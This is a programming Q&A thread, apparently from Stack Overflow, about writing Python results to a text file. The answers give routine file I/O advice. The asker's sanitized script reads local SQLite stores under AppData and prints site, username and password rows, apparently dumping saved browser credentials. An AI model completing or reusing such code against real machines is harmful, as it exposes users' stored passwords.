3

I am new to python and I am trying to figure out how to write the results to a text file. Here is my code:

from os import getenv
import sqlite3

conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\...sanitized")
conn3 = sqlite3.connect(getenv("APPDATA") + "\..\Local\...sanitized")
conn1 = sqlite3.connect(getenv("APPDATA") + "\..\Local\...sanitized")
cursor3 = conn3.cursor()
cursor1 = conn1.cursor()
cursor = conn.cursor()
cursor.execute('SELECT ...sanitized')
for result in cursor.fetchall():
    ...sanitized
    if password:
        print "Site: " + result[0]
        print 'Username: ' + result[1]
        print 'Password: ' + password
        print '---------------------------------------------'
cursor3.execute("...sanitized") 
print("fetchall:")
result = cursor3.fetchall() 
for r in result:
    print(r)

cursor1.execute("...sanitized") 
print("fetchall:")
result = cursor1.fetchall() 
for r in result:
    print(r)

I have tried f = open('output.txt') at the beginning of the code and placed

f.write(r) # and I tried 
f.write(result) # after defining it near bottom as these are my variables 
f.close()# :(

The traceback says it was expecting a string?

Can someone help explain what should go into the print(here) ? I am trying to grasp the concepts but don't quite get it yet

Thanks

MattDMo
  • 100,794
  • 21
  • 241
  • 231
SafetyNetter
  • 49
  • 1
  • 1
  • 4
  • If you are using Unix, just pipe the output to a file: `python myscript.py > output.txt` – tobias_k Mar 22 '16 at 21:06
  • I am using windows for this :( Thanks anyway guys! – SafetyNetter Mar 22 '16 at 21:08
  • So is your code successfully printing the strings to the screen in your loop, and it's just not writing to the file? Also, could you paste the exact string error message you are getting? – ode2k Mar 22 '16 at 21:11
  • Related: [Redirect stdout to a file in Python?](http://stackoverflow.com/q/4675728/4279) – jfs Mar 22 '16 at 22:25

3 Answers3

8

First, you want to make sure you open the file for writing:

f=open("output.txt","w")

Then you could use:

for r in result:
    print >> f, r

At the end of your script, make sure you use:

f.close()

Alternatively, you may need to cast your r to a string print >> f, str(r)

simhumileco
  • 31,877
  • 16
  • 137
  • 115
ode2k
  • 2,653
  • 13
  • 20
3

As others have mentioned, you need to specify that you want to write to the file, by using the argument 'w'.

It is best practice to use with when opening your file. It will notably ensure your file is closed properly, even if there's an exception.

with open('output.txt', 'w') as f:
    for r in result:
        f.write(str(r))
DevShark
  • 8,558
  • 9
  • 32
  • 56
0

It seems like result is a list, whereas write expects a string. So instead of f.write(result) you could try either f.write(str(result)) or, to get an output exactly as in your script:

for r in result:
    f.write(r)

Alternatively, you could import and then override the print function from Python 3, so that everything you print is automatically written to the file:

from __future__ import print_function

_print = print # reference to original print function
outfile = open("output.txt", "w") # file to write output to, mode is 'w' for writing
def print(*args, **kwargs):
    """new print function always writing to file"""
    _print(*args, file=outfile, **kwargs)

print("foo")
print("bar", end=" ")
print("blub")

outfile.close()

Or similarly, overwriting sys.stdout, and then just use print normally:

import sys
sys.stdout = open("output.txt", "w")
tobias_k
  • 81,265
  • 12
  • 120
  • 179
  • f.write(str(result)) worked, but why? Is it because converting to str? – SafetyNetter Mar 24 '16 at 09:09
  • @SafetyNetter Yep, that's exactly the reason. `write` expects a string, so you have to convert whatever you pass into it to string first. It will not do that conversion for you. – tobias_k Mar 24 '16 at 09:46